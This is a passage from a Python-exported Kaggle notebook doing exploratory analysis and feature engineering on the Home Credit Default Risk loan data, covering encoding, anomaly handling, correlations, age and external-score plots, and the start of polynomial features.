Engineering Part Two](https://www.kaggle.com/willkoehrsen/introduction-to-manual-feature-engineering-p2)\r\n# * [Introduction to Automated Feature Engineering](https://www.kaggle.com/willkoehrsen/automated-feature-engineering-basics)\r\n# * [Advanced Automated Feature Engineering](https://www.kaggle.com/willkoehrsen/tuning-automated-feature-engineering-exploratory)\r\n# * [Feature Selection](https://www.kaggle.com/willkoehrsen/introduction-to-feature-selection)\r\n# * [Intro to Model Tuning: Grid and Random Search](https://www.kaggle.com/willkoehrsen/intro-to-model-tuning-grid-and-random-search)\r\n# * [Automated Model Tuning](https://www.kaggle.com/willkoehrsen/automated-model-tuning)\r\n# * [Model Tuning Results](https://www.kaggle.com/willkoehrsen/model-tuning-results-random-vs-bayesian-opt/notebook)\r\n# \r\n# __More references__\r\n# \r\n# * [Credit Education](https://myscore.cibil.com/CreditView/creditEducation.page?enterprise=CIBIL&_ga=2.245893574.372615569.1603669858-164953316.1602941832&_gac=1.254345978.1602941832.CjwKCAjwrKr8BRB_EiwA7eFaplQtBsmINtLxLHOCalWYdx-uO20kyaj0AvRVD8WKNO4cj5mP7MoBTRoC6TEQAvD_BwE)\r\n# \r\n# * [Credit Appraisal Methodology and Statndards](https://www.paisadukan.com/credit-assessment-methodology)\r\n# \r\n# I'll add more notebooks as I finish them! Thanks for all the comments! \r\n\r\n# ## Imports\r\n# \r\n# We are using a typical data science stack: `numpy`, `pandas`, `sklearn`, `matplotlib`. \r\n\r\n# In[1]:\r\n\r\n\r\n# numpy and pandas for data manipulation\r\nimport numpy as np\r\nimport pandas as pd \r\n\r\n# sklearn preprocessing for dealing with categorical variables\r\nfrom sklearn.preprocessing import LabelEncoder\r\n\r\n# File system manangement\r\nimport os\r\n\r\n# Suppress warnings \r\nimport warnings\r\nwarnings.filterwarnings('ignore')\r\n\r\n# matplotlib and seaborn for plotting\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\nimport os\r\n\r\n\r\n# In[2]:\r\n\r\n\r\nfrom IPython.core.interactiveshell import InteractiveShell\r\nInteractiveShell.ast_node_interactivity = \"all\"\r\npd.set_option('display.max_rows', 500)\r\npd.set_option('display.max_colwidth', -1)\r\n\r\n\r\n# In[3]:\r\n\r\n\r\npathToData = \"C:\\\\Users\\\\Administrator\\\\OneDrive\\\\Documents\\\\home_credit_default_risk\"\r\nos.chdir(pathToData)\r\nos.listdir()\r\n\r\n\r\n# In[4]:\r\n\r\n\r\napp_train = pd.read_csv(\"application_train.csv\")\r\napp_test = pd.read_csv(\"application_test.csv.zip\")\r\napp_train.head()\r\napp_train.shape   # (307511, 122)\r\napp_train.dtypes\r\n\r\n\r\n# In[20]:\r\n\r\n\r\ncol_desc = pd.read_csv(\"HomeCredit_columns_description.csv\", encoding= 'unicode_escape')\r\ncol_desc.iloc[:122, 1:-1]\r\n\r\n\r\n# ## Domain Knowledge Features\r\n# \r\n# Some features generated through domain knowledge to help the algorithm:\r\n# \r\n# * `CREDIT_INCOME_PERCENT`: the percentage of the credit amount relative to a client's income\r\n# * `ANNUITY_INCOME_PERCENT`: the percentage of the loan annuity relative to a client's income\r\n# * `CREDIT_TERM`:  the length of the payment in months (since the annuity is the monthly amount due\r\n# * `DAYS_EMPLOYED_PERCENT`: the percentage of the days employed relative to the client's age\r\n# \r\n# Again, thanks to Aguiar and [his great script](https://www.kaggle.com/jsaguiar/updated-0-792-lb-lightgbm-with-simple-features) for exploring these features.\r\n# \r\n\r\n# In[ ]:\r\n\r\n\r\napp_train_domain = app_train.copy()\r\napp_test_domain = app_test.copy()\r\n\r\napp_train_domain['CREDIT_INCOME_PERCENT'] = app_train_domain['AMT_CREDIT'] / app_train_domain['AMT_INCOME_TOTAL']\r\napp_train_domain['ANNUITY_INCOME_PERCENT'] = app_train_domain['AMT_ANNUITY'] / app_train_domain['AMT_INCOME_TOTAL']\r\napp_train_domain['CREDIT_TERM'] = app_train_domain['AMT_ANNUITY'] / app_train_domain['AMT_CREDIT']\r\napp_train_domain['DAYS_EMPLOYED_PERCENT'] = app_train_domain['DAYS_EMPLOYED'] / app_train_domain['DAYS_BIRTH']\r\n\r\n\r\n# In[ ]:\r\n\r\n\r\napp_test_domain['CREDIT_INCOME_PERCENT'] = app_test_domain['AMT_CREDIT'] / app_test_domain['AMT_INCOME_TOTAL']\r\napp_test_domain['ANNUITY_INCOME_PERCENT'] = app_test_domain['AMT_ANNUITY'] / app_test_domain['AMT_INCOME_TOTAL']\r\napp_test_domain['CREDIT_TERM'] = app_test_domain['AMT_ANNUITY'] / app_test_domain['AMT_CREDIT']\r\napp_test_domain['DAYS_EMPLOYED_PERCENT'] = app_test_domain['DAYS_EMPLOYED'] / app_test_domain['DAYS_BIRTH']\r\n\r\n\r\n# In[30]:\r\n\r\n\r\npre_app = pd.read_csv(\"previous_application.csv.zip\")\r\n\r\n\r\n# In[42]:\r\n\r\n\r\npre_app.shape     # (1670214, 37)\r\npre_app.head()\r\npre_app.isnull().sum().sort_values(ascending = False)\r\n\r\n\r\n# In[37]:\r\n\r\n\r\ncol_desc.iloc[173:211, :]\r\n\r\n\r\n# ## Read in Data \r\n# \r\n# First, we can list all the available data files. There are a total of 9 files: 1 main file for training (with target) 1 main file for testing (without the target), 1 example submission file, and 6 other files containing additional information about each loan. \r\n\r\n# In[ ]:\r\n\r\n\r\n# List files available\r\nprint(os.listdir(\"../input/\"))\r\n\r\n\r\n# In[ ]:\r\n\r\n\r\n# Training data\r\napp_train = pd.read_csv('../input/application_train.csv')\r\nprint('Training data shape: ', app_train.shape)\r\napp_train.head()\r\n\r\n\r\n# The training data has 307511 observations (each one a separate loan) and 122 features (variables) including the `TARGET` (the label we want to predict).\r\n\r\n# In[ ]:\r\n\r\n\r\n# Testing data features\r\napp_test = pd.read_csv('../input/application_test.csv')\r\nprint('Testing data shape: ', app_test.shape)\r\napp_test.head()\r\n\r\n\r\n# The test set is considerably smaller and lacks a `TARGET` column. \r\n\r\n# # Exploratory Data Analysis\r\n# \r\n# Exploratory Data Analysis (EDA) is an open-ended process where we calculate statistics and make figures to find trends, anomalies, patterns, or relationships within the data. The goal of EDA is to learn what our data can tell us. It generally starts out with a high level overview, then narrows in to specific areas as we find intriguing areas of the data. The findings may be interesting in their own right, or they can be used to inform our modeling choices, such as by helping us decide which features to use.\r\n\r\n# ## Examine the Distribution of the Target Column\r\n# \r\n# The target is what we are asked to predict: either a 0 for the loan was repaid on time, or a 1 indicating the client had payment difficulties. We can first examine the number of loans falling into each category.\r\n\r\n# In[ ]:\r\n\r\n\r\napp_train['TARGET'].value_counts()\r\n\r\n\r\n# In[ ]:\r\n\r\n\r\napp_train['TARGET'].astype(int).plot.hist();\r\n\r\n\r\n# From this information, we see this is an [_imbalanced class problem_](http://www.chioka.in/class-imbalance-problem/). There are far more loans that were repaid on time than loans that were not repaid. Once we get into more sophisticated machine learning models, we can [weight the classes](http://xgboost.readthedocs.io/en/latest/parameter.html) by their representation in the data to reflect this imbalance. \r\n\r\n# ## Examine Missing Values\r\n# \r\n# Next we can look at the number and percentage of missing values in each column. \r\n\r\n# In[ ]:\r\n\r\n\r\n# Function to calculate missing values by column# Funct \r\ndef missing_values_table(df):\r\n        # Total missing values\r\n        mis_val = df.isnull().sum()\r\n        \r\n        # Percentage of missing values\r\n        mis_val_percent = 100 * df.isnull().sum() / len(df)\r\n        \r\n        # Make a table with the results\r\n        mis_val_table = pd.concat([mis_val, mis_val_percent], axis=1)\r\n        \r\n        # Rename the columns\r\n        mis_val_table_ren_columns = mis_val_table.rename(\r\n        columns = {0 : 'Missing Values', 1 : '% of Total Values'})\r\n        \r\n        # Sort the table by percentage of missing descending\r\n        mis_val_table_ren_columns = mis_val_table_ren_columns[\r\n            mis_val_table_ren_columns.iloc[:,1] != 0].sort_values(\r\n        '% of Total Values', ascending=False).round(1)\r\n        \r\n        # Print some summary information\r\n        print (\"Your selected dataframe has \" + str(df.shape[1]) + \" columns.\\n\"      \r\n            \"There are \" + str(mis_val_table_ren_columns.shape[0]) +\r\n              \" columns that have missing values.\")\r\n        \r\n        # Return the dataframe with missing information\r\n        return mis_val_table_ren_columns\r\n\r\n\r\n# In[ ]:\r\n\r\n\r\n# Missing values statistics\r\nmissing_values = missing_values_table(app_train)\r\nmissing_values.head(20)\r\n\r\n\r\n# When it comes time to build our machine learning models, we will have to fill in these missing values (known as imputation). In later work, we will use models such as XGBoost that can [handle missing values with no need for imputation](https://stats.stackexchange.com/questions/235489/xgboost-can-handle-missing-data-in-the-forecasting-phase). Another option would be to drop columns with a high percentage of missing values, although it is impossible to know ahead of time if these columns will be helpful to our model. Therefore, we will keep all of the columns for now.\r\n\r\n# ## Column Types\r\n# \r\n# Let's look at the number of columns of each data type. `int64` and `float64` are numeric variables ([which can be either discrete or continuous](https://stats.stackexchange.com/questions/206/what-is-the-difference-between-discrete-data-and-continuous-data)). `object` columns contain strings and are  [categorical features.](http://support.minitab.com/en-us/minitab-express/1/help-and-how-to/modeling-statistics/regression/supporting-topics/basics/what-are-categorical-discrete-and-continuous-variables/) . \r\n\r\n# In[ ]:\r\n\r\n\r\n# Number of each type of column\r\napp_train.dtypes.value_counts()\r\n\r\n\r\n# Let's now look at the number of unique entries in each of the `object` (categorical) columns.\r\n\r\n# In[ ]:\r\n\r\n\r\n# Number of unique classes in each object column\r\napp_train.select_dtypes('object').apply(pd.Series.nunique, axis = 0)\r\n\r\n\r\n# Most of the categorical variables have a relatively small number of unique entries. We will need to find a way to deal with these categorical variables! \r\n\r\n# ## Encoding Categorical Variables\r\n# \r\n# Before we go any further, we need to deal with pesky categorical variables.  A machine learning model unfortunately cannot deal with categorical variables (except for some models such as [LightGBM](http://lightgbm.readthedocs.io/en/latest/Features.html)). Therefore, we have to find a way to encode (represent) these variables as numbers before handing them off to the model. There are two main ways to carry out this process:\r\n# \r\n# * Label encoding: assign each unique category in a categorical variable with an integer. No new columns are created. An example is shown below\r\n# \r\n# ![image](https://raw.githubusercontent.com/WillKoehrsen/Machine-Learning-Projects/master/label_encoding.png)\r\n# \r\n# * One-hot encoding: create a new column for each unique category in a categorical variable. Each observation recieves a 1 in the column for its corresponding category and a 0 in all other new columns. \r\n# \r\n# ![image](https://raw.githubusercontent.com/WillKoehrsen/Machine-Learning-Projects/master/one_hot_encoding.png)\r\n# \r\n# The problem with label encoding is that it gives the categories an arbitrary ordering. The value assigned to each of the categories is random and does not reflect any inherent aspect of the category. In the example above, programmer recieves a 4 and data scientist a 1, but if we did the same process again, the labels could be reversed or completely different. The actual assignment of the integers is arbitrary. Therefore, when we perform label encoding, the model might use the relative value of the feature (for example programmer = 4 and data scientist = 1) to assign weights which is not what we want. If we only have two unique values for a categorical variable (such as Male/Female), then label encoding is fine, but for more than 2 unique categories, one-hot encoding is the safe option.\r\n# \r\n# There is some debate about the relative merits of these approaches, and some models can deal with label encoded categorical variables with no issues. [Here is a good Stack Overflow discussion](https://datascience.stackexchange.com/questions/9443/when-to-use-one-hot-encoding-vs-labelencoder-vs-dictvectorizor). I think (and this is just a personal opinion) for categorical variables with many classes, one-hot encoding is the safest approach because it does not impose arbitrary values to categories. The only downside to one-hot encoding is that the number of features (dimensions of the data) can explode with categorical variables with many categories. To deal with this, we can perform one-hot encoding followed by [PCA](http://www.cs.otago.ac.nz/cosc453/student_tutorials/principal_components.pdf) or other [dimensionality reduction methods](https://www.analyticsvidhya.com/blog/2015/07/dimension-reduction-methods/) to reduce the number of dimensions (while still trying to preserve information). \r\n# \r\n# In this notebook, we will use Label Encoding for any categorical variables with only 2 categories and One-Hot Encoding for any categorical variables with more than 2 categories. This process may need to change as we get further into the project, but for now, we will see where this gets us. (We will also not use any dimensionality reduction in this notebook but will explore in future iterations).\r\n\r\n# ### Label Encoding and One-Hot Encoding\r\n# \r\n# Let's implement the policy described above: for any categorical variable (`dtype == object`) with 2 unique categories, we will use label encoding, and for any categorical variable with more than 2 unique categories, we will use one-hot encoding. \r\n# \r\n# For label encoding, we use the Scikit-Learn `LabelEncoder` and for one-hot encoding, the pandas `get_dummies(df)` function.\r\n\r\n# In[ ]:\r\n\r\n\r\n# Create a label encoder object\r\nle = LabelEncoder()\r\nle_count = 0\r\n\r\n# Iterate through the columns\r\nfor col in app_train:\r\n    if app_train[col].dtype == 'object':\r\n        # If 2 or fewer unique categories\r\n        if len(list(app_train[col].unique())) <= 2:\r\n            # Train on the training data\r\n            le.fit(app_train[col])\r\n            # Transform both training and testing data\r\n            app_train[col] = le.transform(app_train[col])\r\n            app_test[col] = le.transform(app_test[col])\r\n            \r\n            # Keep track of how many columns were label encoded\r\n            le_count += 1\r\n            \r\nprint('%d columns were label encoded.' % le_count)\r\n\r\n\r\n# In[ ]:\r\n\r\n\r\n# one-hot encoding of categorical variables\r\napp_train = pd.get_dummies(app_train)\r\napp_test = pd.get_dummies(app_test)\r\n\r\nprint('Training Features shape: ', app_train.shape)\r\nprint('Testing Features shape: ', app_test.shape)\r\n\r\n\r\n# ### Aligning Training and Testing Data\r\n# \r\n# There need to be the same features (columns) in both the training and testing data. One-hot encoding has created more columns in the training data because there were some categorical variables with categories not represented in the testing data. To remove the columns in the training data that are not in the testing data, we need to `align` the dataframes. First we extract the target column from the training data (because this is not in the testing data but we need to keep this information). When we do the align, we must make sure to set `axis = 1` to align the dataframes based on the columns and not on the rows!\r\n\r\n# In[ ]:\r\n\r\n\r\ntrain_labels = app_train['TARGET']\r\n\r\n# Align the training and testing data, keep only columns present in both dataframes\r\napp_train, app_test = app_train.align(app_test, join = 'inner', axis = 1)\r\n\r\n# Add the target back in\r\napp_train['TARGET'] = train_labels\r\n\r\nprint('Training Features shape: ', app_train.shape)\r\nprint('Testing Features shape: ', app_test.shape)\r\n\r\n\r\n# The training and testing datasets now have the same features which is required for machine learning. The number of features has grown significantly due to one-hot encoding. At some point we probably will want to try [dimensionality reduction (removing features that are not relevant)](https://en.wikipedia.org/wiki/Dimensionality_reduction) to reduce the size of the datasets.\r\n\r\n# ## Back to Exploratory Data Analysis\r\n# \r\n# ### Anomalies\r\n# \r\n# One problem we always want to be on the lookout for when doing EDA is anomalies within the data. These may be due to mis-typed numbers, errors in measuring equipment, or they could be valid but extreme measurements. One way to support anomalies quantitatively is by looking at the statistics of a column using the `describe` method. The numbers in the `DAYS_BIRTH` column are negative because they are recorded relative to the current loan application. To see these stats in years, we can mutliple by -1 and divide by the number of days in a year:\r\n# \r\n# \r\n\r\n# In[ ]:\r\n\r\n\r\n(app_train['DAYS_BIRTH'] / -365).describe()\r\n\r\n\r\n# Those ages look reasonable. There are no outliers for the age on either the high or low end. How about the days of employment? \r\n\r\n# In[ ]:\r\n\r\n\r\napp_train['DAYS_EMPLOYED'].describe()\r\n\r\n\r\n# That doesn't look right! The maximum value (besides being positive) is about 1000 years! \r\n\r\n# In[ ]:\r\n\r\n\r\napp_train['DAYS_EMPLOYED'].plot.hist(title = 'Days Employment Histogram');\r\nplt.xlabel('Days Employment');\r\n\r\n\r\n# Just out of curiousity, let's subset the anomalous clients and see if they tend to have higher or low rates of default than the rest of the clients.\r\n\r\n# In[ ]:\r\n\r\n\r\nanom = app_train[app_train['DAYS_EMPLOYED'] == 365243]\r\nnon_anom = app_train[app_train['DAYS_EMPLOYED'] != 365243]\r\nprint('The non-anomalies default on %0.2f%% of loans' % (100 * non_anom['TARGET'].mean()))\r\nprint('The anomalies default on %0.2f%% of loans' % (100 * anom['TARGET'].mean()))\r\nprint('There are %d anomalous days of employment' % len(anom))\r\n\r\n\r\n# Well that is extremely interesting! It turns out that the anomalies have a lower rate of default. \r\n# \r\n# Handling the anomalies depends on the exact situation, with no set rules. One of the safest approaches is just to set the anomalies to a missing value and then have them filled in (using Imputation) before machine learning. In this case, since all the anomalies have the exact same value, we want to fill them in with the same value in case all of these loans share something in common. The anomalous values seem to have some importance, so we want to tell the machine learning model if we did in fact fill in these values. As a solution, we will fill in the anomalous values with not a number (`np.nan`) and then create a new boolean column indicating whether or not the value was anomalous.\r\n# \r\n# \r\n\r\n# In[ ]:\r\n\r\n\r\n# Create an anomalous flag column\r\napp_train['DAYS_EMPLOYED_ANOM'] = app_train[\"DAYS_EMPLOYED\"] == 365243\r\n\r\n# Replace the anomalous values with nan\r\napp_train['DAYS_EMPLOYED'].replace({365243: np.nan}, inplace = True)\r\n\r\napp_train['DAYS_EMPLOYED'].plot.hist(title = 'Days Employment Histogram');\r\nplt.xlabel('Days Employment');\r\n\r\n\r\n# The distribution looks to be much more in line with what we would expect, and we also have created a new column to tell the model that these values were originally anomalous (becuase we will have to fill in the nans with some value, probably the median of the column). The other columns with `DAYS` in the dataframe look to be about what we expect with no obvious outliers. \r\n# \r\n# As an extremely important note, anything we do to the training data we also have to do to the testing data. Let's make sure to create the new column and fill in the existing column with `np.nan` in the testing data.\r\n\r\n# In[ ]:\r\n\r\n\r\napp_test['DAYS_EMPLOYED_ANOM'] = app_test[\"DAYS_EMPLOYED\"] == 365243\r\napp_test[\"DAYS_EMPLOYED\"].replace({365243: np.nan}, inplace = True)\r\n\r\nprint('There are %d anomalies in the test data out of %d entries' % (app_test[\"DAYS_EMPLOYED_ANOM\"].sum(), len(app_test)))\r\n\r\n\r\n# ### Correlations\r\n# \r\n# Now that we have dealt with the categorical variables and the outliers, let's continue with the EDA. One way to try and understand the data is by looking for correlations between the features and the target. We can calculate the Pearson correlation coefficient between every variable and the target using the `.corr` dataframe method.\r\n# \r\n# The correlation coefficient is not the greatest method to represent \"relevance\" of a feature, but it does give us an idea of possible relationships within the data. Some [general interpretations of the absolute value of the correlation coefficent](http://www.statstutor.ac.uk/resources/uploaded/pearsons.pdf) are:\r\n# \r\n# \r\n# * .00-.19 \u201cvery weak\u201d\r\n# *  .20-.39 \u201cweak\u201d\r\n# *  .40-.59 \u201cmoderate\u201d\r\n# *  .60-.79 \u201cstrong\u201d\r\n# * .80-1.0 \u201cvery strong\u201d\r\n# \r\n\r\n# In[ ]:\r\n\r\n\r\n# Find correlations with the target and sort\r\ncorrelations = app_train.corr()['TARGET'].sort_values()\r\n\r\n# Display correlations\r\nprint('Most Positive Correlations:\\n', correlations.tail(15))\r\nprint('\\nMost Negative Correlations:\\n', correlations.head(15))\r\n\r\n\r\n# Let's take a look at some of more significant correlations: the `DAYS_BIRTH` is the most positive correlation. (except for `TARGET` because the correlation of a variable with itself is always 1!) Looking at the documentation, `DAYS_BIRTH` is the age in days of the client at the time of the loan in negative days (for whatever reason!). The correlation is positive, but the value of this feature is actually negative, meaning that as the client gets older, they are less likely to default on their loan (ie the target == 0). That's a little confusing, so we will take the absolute value of the feature and then the correlation will be negative.\r\n\r\n# ### Effect of Age on Repayment\r\n\r\n# In[ ]:\r\n\r\n\r\n# Find the correlation of the positive days since birth and target\r\napp_train['DAYS_BIRTH'] = abs(app_train['DAYS_BIRTH'])\r\napp_train['DAYS_BIRTH'].corr(app_train['TARGET'])\r\n\r\n\r\n# As the client gets older, there is a negative linear relationship with the target meaning that as clients get older, they tend to repay their loans on time more often. \r\n# \r\n# Let's start looking at this variable. First, we can make a histogram of the age. We will put the x axis in years to make the plot a little more understandable.\r\n\r\n# In[ ]:\r\n\r\n\r\n# Set the style of plots\r\nplt.style.use('fivethirtyeight')\r\n\r\n# Plot the distribution of ages in years\r\nplt.hist(app_train['DAYS_BIRTH'] / 365, edgecolor = 'k', bins = 25)\r\nplt.title('Age of Client'); plt.xlabel('Age (years)'); plt.ylabel('Count');\r\n\r\n\r\n# By itself, the distribution of age does not tell us much other than that there are no outliers as all the ages are reasonable. To visualize the effect of the age on the target, we will next make a [kernel density estimation plot](https://en.wikipedia.org/wiki/Kernel_density_estimation) (KDE) colored by the value of the target. A [kernel density estimate plot shows the distribution of a single variable](https://chemicalstatistician.wordpress.com/2013/06/09/exploratory-data-analysis-kernel-density-estimation-in-r-on-ozone-pollution-data-in-new-york-and-ozonopolis/) and can be thought of as a smoothed histogram (it is created by computing a kernel, usually a Gaussian, at each data point and then averaging all the individual kernels to develop a single smooth curve). We will use the seaborn `kdeplot` for this graph.\r\n\r\n# In[ ]:\r\n\r\n\r\nplt.figure(figsize = (10, 8))\r\n\r\n# KDE plot of loans that were repaid on time\r\nsns.kdeplot(app_train.loc[app_train['TARGET'] == 0, 'DAYS_BIRTH'] / 365, label = 'target == 0')\r\n\r\n# KDE plot of loans which were not repaid on time\r\nsns.kdeplot(app_train.loc[app_train['TARGET'] == 1, 'DAYS_BIRTH'] / 365, label = 'target == 1')\r\n\r\n# Labeling of plot\r\nplt.xlabel('Age (years)'); plt.ylabel('Density'); plt.title('Distribution of Ages');\r\n\r\n\r\n# The target == 1 curve skews towards the younger end of the range. Although this is not a significant correlation (-0.07 correlation coefficient), this variable is likely going to be useful in a machine learning model because it does affect the target. Let's look at this relationship in another way: average failure to repay loans by age bracket. \r\n# \r\n# To make this graph, first we `cut` the age category into bins of 5 years each. Then, for each bin, we calculate the average value of the target, which tells us the ratio of loans that were not repaid in each age category.\r\n\r\n# In[ ]:\r\n\r\n\r\n# Age information into a separate dataframe\r\nage_data = app_train[['TARGET', 'DAYS_BIRTH']]\r\nage_data['YEARS_BIRTH'] = age_data['DAYS_BIRTH'] / 365\r\n\r\n# Bin the age data\r\nage_data['YEARS_BINNED'] = pd.cut(age_data['YEARS_BIRTH'], bins = np.linspace(20, 70, num = 11))\r\nage_data.head(10)\r\n\r\n\r\n# In[ ]:\r\n\r\n\r\n# Group by the bin and calculate averages\r\nage_groups  = age_data.groupby('YEARS_BINNED').mean()\r\nage_groups\r\n\r\n\r\n# In[ ]:\r\n\r\n\r\nplt.figure(figsize = (8, 8))\r\n\r\n# Graph the age bins and the average of the target as a bar plot\r\nplt.bar(age_groups.index.astype(str), 100 * age_groups['TARGET'])\r\n\r\n# Plot labeling\r\nplt.xticks(rotation = 75); plt.xlabel('Age Group (years)'); plt.ylabel('Failure to Repay (%)')\r\nplt.title('Failure to Repay by Age Group');\r\n\r\n\r\n# There is a clear trend: younger applicants are more likely to not repay the loan! The rate of failure to repay is above 10% for the youngest three age groups and beolow 5% for the oldest age group.\r\n# \r\n# This is information that could be directly used by the bank: because younger clients are less likely to repay the loan, maybe they should be provided with more guidance or financial planning tips. This does not mean the bank should discriminate against younger clients, but it would be smart to take precautionary measures to help younger clients pay on time.\r\n\r\n# ### Exterior Sources\r\n# \r\n# The 3 variables with the strongest negative correlations with the target are `EXT_SOURCE_1`, `EXT_SOURCE_2`, and `EXT_SOURCE_3`.\r\n# According to the documentation, these features represent a \"normalized score from external data source\". I'm not sure what this exactly means, but it may be a cumulative sort of credit rating made using numerous sources of data. \r\n# \r\n# Let's take a look at these variables.\r\n# \r\n# First, we can show the correlations of the `EXT_SOURCE` features with the target and with each other.\r\n\r\n# In[ ]:\r\n\r\n\r\n# Extract the EXT_SOURCE variables and show correlations\r\next_data = app_train[['TARGET', 'EXT_SOURCE_1', 'EXT_SOURCE_2', 'EXT_SOURCE_3', 'DAYS_BIRTH']]\r\next_data_corrs = ext_data.corr()\r\next_data_corrs\r\n\r\n\r\n# In[ ]:\r\n\r\n\r\nplt.figure(figsize = (8, 6))\r\n\r\n# Heatmap of correlations\r\nsns.heatmap(ext_data_corrs, cmap = plt.cm.RdYlBu_r, vmin = -0.25, annot = True, vmax = 0.6)\r\nplt.title('Correlation Heatmap');\r\n\r\n\r\n# All three `EXT_SOURCE` featureshave negative correlations with the target, indicating that as the value of the `EXT_SOURCE` increases, the client is more likely to repay the loan. We can also see that `DAYS_BIRTH` is positively correlated with `EXT_SOURCE_1` indicating that maybe one of the factors in this score is the client age.\r\n# \r\n# Next we can look at the distribution of each of these features colored by the value of the target. This will let us visualize the effect of this variable on the target.\r\n\r\n# In[ ]:\r\n\r\n\r\nplt.figure(figsize = (10, 12))\r\n\r\n# iterate through the sources\r\nfor i, source in enumerate(['EXT_SOURCE_1', 'EXT_SOURCE_2', 'EXT_SOURCE_3']):\r\n    \r\n    # create a new subplot for each source\r\n    plt.subplot(3, 1, i + 1)\r\n    # plot repaid loans\r\n    sns.kdeplot(app_train.loc[app_train['TARGET'] == 0, source], label = 'target == 0')\r\n    # plot loans that were not repaid\r\n    sns.kdeplot(app_train.loc[app_train['TARGET'] == 1, source], label = 'target == 1')\r\n    \r\n    # Label the plots\r\n    plt.title('Distribution of %s by Target Value' % source)\r\n    plt.xlabel('%s' % source); plt.ylabel('Density');\r\n    \r\nplt.tight_layout(h_pad = 2.5)\r\n    \r\n\r\n\r\n# `EXT_SOURCE_3` displays the greatest difference between the values of the target. We can clearly see that this feature has some relationship to the likelihood of an applicant to repay a loan. The relationship is not very strong (in fact they are all [considered very weak](http://www.statstutor.ac.uk/resources/uploaded/pearsons.pdf), but these variables will still be useful for a machine learning model to predict whether or not an applicant will repay a loan on time.\r\n\r\n# ## Pairs Plot\r\n# \r\n# As a final exploratory plot, we can make a pairs plot of the `EXT_SOURCE` variables and the `DAYS_BIRTH` variable. The [Pairs Plot](https://towardsdatascience.com/visualizing-data-with-pair-plots-in-python-f228cf529166) is a great exploration tool because it lets us see relationships between multiple pairs of variables as well as distributions of single variables. Here we are using the seaborn visualization library and the PairGrid function to create a Pairs Plot with scatterplots on the upper triangle, histograms on the diagonal, and 2D kernel density plots and correlation coefficients on the lower triangle.\r\n# \r\n# If you don't understand this code, that's all right! Plotting in Python can be overly complex, and for anything beyond the simplest graphs, I usually find an existing implementation and adapt the code (don't repeat yourself)! \r\n\r\n# In[ ]:\r\n\r\n\r\n# Copy the data for plotting\r\nplot_data = ext_data.drop(columns = ['DAYS_BIRTH']).copy()\r\n\r\n# Add in the age of the client in years\r\nplot_data['YEARS_BIRTH'] = age_data['YEARS_BIRTH']\r\n\r\n# Drop na values and limit to first 100000 rows\r\nplot_data = plot_data.dropna().loc[:100000, :]\r\n\r\n# Function to calculate correlation coefficient between two columns\r\ndef corr_func(x, y, **kwargs):\r\n    r = np.corrcoef(x, y)[0][1]\r\n    ax = plt.gca()\r\n    ax.annotate(\"r = {:.2f}\".format(r),\r\n                xy=(.2, .8), xycoords=ax.transAxes,\r\n                size = 20)\r\n\r\n# Create the pairgrid object\r\ngrid = sns.PairGrid(data = plot_data, size = 3, diag_sharey=False,\r\n                    hue = 'TARGET', \r\n                    vars = [x for x in list(plot_data.columns) if x != 'TARGET'])\r\n\r\n# Upper is a scatter plot\r\ngrid.map_upper(plt.scatter, alpha = 0.2)\r\n\r\n# Diagonal is a histogram\r\ngrid.map_diag(sns.kdeplot)\r\n\r\n# Bottom is density plot\r\ngrid.map_lower(sns.kdeplot, cmap = plt.cm.OrRd_r);\r\n\r\nplt.suptitle('Ext Source and Age Features Pairs Plot', size = 32, y = 1.05);\r\n\r\n\r\n# In this plot, the red indicates loans that were not repaid and the blue are loans that are paid. We can see the different relationships within the data. There does appear to be a moderate positive linear relationship between the `EXT_SOURCE_1` and the `DAYS_BIRTH` (or equivalently `YEARS_BIRTH`), indicating that this feature may take into account the age of the client. \r\n\r\n# # Feature Engineering\r\n# \r\n# Kaggle competitions are won by feature engineering: those win are those who can create the most useful features out of the data. (This is true for the most part as the winning models, at least for structured data, all tend to be variants on [gradient boosting](http://blog.kaggle.com/2017/01/23/a-kaggle-master-explains-gradient-boosting/)). This represents one of the patterns in machine learning: feature engineering has a greater return on investment than model building and hyperparameter tuning. [This is a great article on the subject)](https://www.featurelabs.com/blog/secret-to-data-science-success/). As Andrew Ng is fond of saying: \"applied machine learning is basically feature engineering.\" \r\n# \r\n# While choosing the right model and optimal settings are important, the model can only learn from the data it is given. Making sure this data is as relevant to the task as possible is the job of the data scientist (and maybe some [automated tools](https://docs.featuretools.com/getting_started/install.html) to help us out).\r\n# \r\n# Feature engineering refers to a geneal process and can involve both feature construction: adding new features from the existing data, and feature selection: choosing only the most important features or other methods of dimensionality reduction. There are many techniques we can use to both create features and select features.\r\n# \r\n# We will do a lot of feature engineering when we start using the other data sources, but in this notebook we will try only two simple feature construction methods: \r\n# \r\n# * Polynomial features\r\n# * Domain knowledge features\r\n# \r\n\r\n# ## Polynomial Features\r\n# \r\n# One simple feature construction method is called [polynomial features](http://scikit-learn.org/stable/modules/generated/sklearn.preprocessing.PolynomialFeatures.html). In this method, we make features that are powers of existing features as well as interaction terms between existing features. For example, we can create variables `EXT_SOURCE_1^2` and `EXT_SOURCE_2^2` and also variables such as `EXT_SOURCE_1` x `EXT_SOURCE_2`, `EXT_SOURCE_1` x `EXT_SOURCE_2^2`, `EXT_SOURCE_1^2` x   `EXT_SOURCE_2^2`, and so on. These features that are a combination of multiple individual variables are called [interaction terms](https://en.wikipedia.org/wiki/Interaction_(statistics) because they  capture the interactions between variables. In other words, while two variables by themselves  may not have a strong influence on the target, combining them together into a single interaction variable might show a relationship with the target. [Interaction terms are commonly used in statistical models](https://www.theanalysisfactor.com/interpreting-interactions-in-regression/) to capture the effects of multiple variables, but I do not see them used as often in machine learning. Nonetheless, we can try out a few to see if they might help our model to predict whether or not a client will repay a loan. \r\n# \r\n# Jake VanderPlas writes about [polynomial features in his excellent book Python for Data Science](https://jakevdp.github.io/PythonDataScienceHandbook/05.04-feature-engineering.html) for those who want more information.\r\n# \r\n# In the following code, we create polynomial features using the `EXT_SOURCE` variables and the `DAYS_BIRTH` variable. [Scikit-Learn has a useful class called `PolynomialFeatures`](http://scikit-learn.org/stable/modules/generated/sklearn.preprocessing.PolynomialFeatures.html) that creates the polynomials and the interaction terms up to a specified degree. We can use a degree of 3 to see the results (when we are creating polynomial features, we want to avoid using too high of a degree, both because the number of features scales exponentially with the degree, and because we can run into [problems with overfitting](http://scikit-learn.org/stable/auto_examples/model_selection/plot_underfitting_overfitting.html#sphx-glr-auto-examples-model-selection-plot-underfitting-overfitting-py)). \r\n\r\n# In[ ]:\r\n\r\n\r\n# Make a new dataframe for polynomial 